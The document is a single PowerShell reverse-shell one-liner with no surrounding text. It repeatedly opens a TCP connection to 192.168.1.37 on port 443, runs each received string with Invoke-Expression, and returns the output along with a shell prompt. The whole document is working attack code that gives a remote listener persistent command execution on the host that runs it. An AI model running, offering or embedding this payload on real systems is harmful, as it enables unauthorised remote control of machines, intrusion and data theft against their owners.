$while = $true while($while){ $client = New-Object System.Net.Sockets.TCPClient('192.168.1.37',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $send = (iex $data 2>&1 | Out-String ); $sendback = $send + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close(); }